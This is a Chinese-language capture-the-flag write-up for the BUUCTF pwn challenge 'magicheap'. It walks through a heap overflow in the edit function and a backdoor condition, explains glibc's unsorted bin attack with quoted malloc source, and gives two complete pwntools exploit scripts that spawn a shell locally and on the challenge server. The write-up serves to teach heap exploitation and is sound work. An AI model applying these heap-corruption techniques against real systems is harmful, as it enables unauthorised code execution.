1. 程式人生 > 其它 >write up -- Buu magicheap

write up -- Buu magicheap

簡介

buu上的題,著重練習一下堆的解題思路。

附件是64位小端的可執行程式

我們直接ida分析一下吧



這個就是main函式的具體的邏輯是個很明顯的選單題目,一般先看申請堆塊的選項,再看free堆塊的選項。

我們先來看看申請堆塊的選項create_heap()

可以看到除了沒有限制申請堆塊的大小外其他的還是比較合理的。

我們再來看看free堆塊的選項delete_heap()

可以清楚的看到該函式將空間釋放掉後,將指標也銷燬了,也就是說這裡沒有漏洞可以利用了。

那我們就只能再找一找看看還有沒有其他的漏洞,那隻剩下編輯功能的選項了edit_heap()

可以看到我們可以自己輸入要寫入chunk中的資料的大小,那這就出事了呀,這樣我們就可以去覆蓋其他chunk的size位,就可以實現Overlapping。

除了這個漏洞外我還發現了這個程式竟然還有後門


說實話這在堆題中是及其不常見的,而且後門函式在main函式中也有用到。


可以看到雖然main函式中也有用到後門函式,但是是有條件的,我們的輸入要是4869而且magic要大於0x1305,magic是bss段上的一塊空間


那這樣程式的基本邏輯和漏洞點基本上都分析完了,接下來就是構建攻擊的思路了。

攻擊思路

首先我們可以構造重疊的堆塊,將magic寫入unsorted bin的fd指標裡,然後通過再次的申請,申請到magic這一塊空間,然後向這一片空間中寫入一個大於0x1305的值,這樣我們在輸入4869就可以直接得到shell了。


我們申請完chunk1後就直接free掉,然後利用edit裡存在的漏洞,將chunk1中的資料修改一下,這樣bss段裡的magic就被我們寫入了chunk1的fd指標中。

這樣申請兩次0x90大小的空間就可以申請到以magic為首部的堆塊,向這個堆塊的首部寫入一個大於0x1305的值即可達到目標。

打本地的exp

from pwn import*

io = process("./magicheap")

#io = remote("node4.buuoj.cn", 29376)*

context.arch = "amd64"

context.log_level = "debug"

bss_data_addr = 0x00000000006020A0

def add(size, content):

  io.recvuntil("choice :")

  io.sendline("1")

  io.recvuntil("Heap : ")

  io.sendline(str(size))

  io.recvuntil("heap:")

  io.sendline(content)


def edit(index, content):

  io.recvuntil("choice :")

  io.sendline("2")

  io.recvuntil("Index :")

  io.sendline(str(index))

  io.recvuntil("Heap : ")

  io.sendline(str(len(content)))

  io.recvuntil("heap : ")

  io.sendline(content)



def delete(index):

  io.recvuntil("choice :")

  io.sendline("3")

  io.recvuntil("Index :")

  io.sendline(str(index))

    
add(0x30, "aaaa")  *# chunk0*

add(0x90, "bbbb")  *# chunk1*

add(0x10, "cccc")  *# chunk2*

delete(1)

edit(0, p64(0)*6+p64(0x40)+p64(0xa1)+p64(bss_data_addr))

add(0x90, "aaaa")

add(0x90, "dddd")

io.sendlineafter(":", "4869")

io.interactive()

問題

以上的exp是我進行分析除錯寫出來的,但是我是根據本地環境除錯寫的,所以可以打通本地,在我打遠端的時候出現了問題,發現在本地可以跑通的指令碼在遠端竟然跑不通。

本地:

遠端:

解決

經過一下午的學習和除錯,終於給這一題整明白了,這一題打遠端用的漏洞叫做unsorted bin attack,這也是與glibc的堆管理機制的unsorted bin密切相關的。

Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指標。

Unsorted Bin Attack 可以達到的效果是實現修改任意地址值為一個較大的數值。

glibc/malloc/malloc.c 中的 _int_malloc 有這麼一段程式碼,當將一個 unsorted bin 取出的時候,會將 bck->fd 的位置寫入本 Unsorted Bin 的位置。

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

換而言之,如果我們控制了 bk 的值,我們就能將 unsorted_chunks (av) 寫到任意地址。

攻擊的過程


初始狀態時

unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。

執行 free(p)

由於釋放的 chunk 大小不屬於 fast bin 範圍內,所以會首先放入到 unsorted bin 中。

修改 p[1]

經過修改之後,原來在 unsorted bin 中的 p 的 bk 指標就會指向 target addr-16 處偽造的 chunk,即 Target Value 處於偽造 chunk 的 fd 處。

重新申請這一片chunk

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);

            /*
               If a small request, try to use last remainder if it is the
               only chunk in unsorted bin.  This helps promote locality for
               runs of consecutive small requests. This is the only
               exception to best-fit, and applies only when there is
               no exact fit for a small chunk.
             */
            /* 顯然,bck被修改,並不符合這裡的要求*/
            if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                victim == av->last_remainder &&
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                ....
            }

            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd                 = unsorted_chunks(av);

上面我們只看 bck == unsorted_chunks(av)這一個判斷就可以得出條件為否,將會執行最後兩段程式碼,就是這兩段程式碼將bck的fd指標指向了一個極大的值

  • victim = unsorted_chunks(av)->bk=p
  • bck = victim->bk=p->bk = target addr-16
  • unsorted_chunks(av)->bk = bck=target addr-16
  • bck->fd = *(target addr -16+16) = unsorted_chunks(av);

經過unsorted bin attack攻擊,我們就可以將magic改為一個極大的值,這樣就可以不考慮這一個判斷( if ( (unsigned __int64)magic <= 0x1305 ))從而直接輸入4869得到shell。

這種方法之所以遠端可以打得通就是因為遠端的libc環境是2.23,而我本地的環境是2.27,具有Tcache機制使得我是釋放的chunk會被放入Tcache中而不是unsorted bin中,這樣就無法觸發unsorted bin的機制,從而無法進行攻擊,從而拿不到shell。

打遠端的exp

from pwn import*
#io = process("./magicheap")
io = remote("node4.buuoj.cn", 27434)
context.arch = "amd64"
context.log_level = "debug"

bss_data_addr = 0x00000000006020A0


def add(size, content):
    io.recvuntil("choice :")
    io.sendline("1")
    io.recvuntil("Heap : ")
    io.sendline(str(size))
    io.recvuntil("heap:")
    io.sendline(content)

def edit(index, content):
    io.recvuntil("choice :")
    io.sendline("2")
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Heap : ")
    io.sendline(str(len(content)))
    io.recvuntil("heap : ")
    io.sendline(content)


def delete(index):
    io.recvuntil("choice :")
    io.sendline("3")
    io.recvuntil("Index :")
    io.sendline(str(index))


add(0x30, "aaaa")  # chunk0
add(0x90, "bbbb")  # chunk1
add(0x10, "cccc")  # chunk2
delete(1)

edit(0, p64(0)*6+p64(0x40)+p64(0xa1)+p64(0)+p64(bss_data_addr-0x10))
add(0x90, "1")

io.sendlineafter(":", "4869")
io.interactive()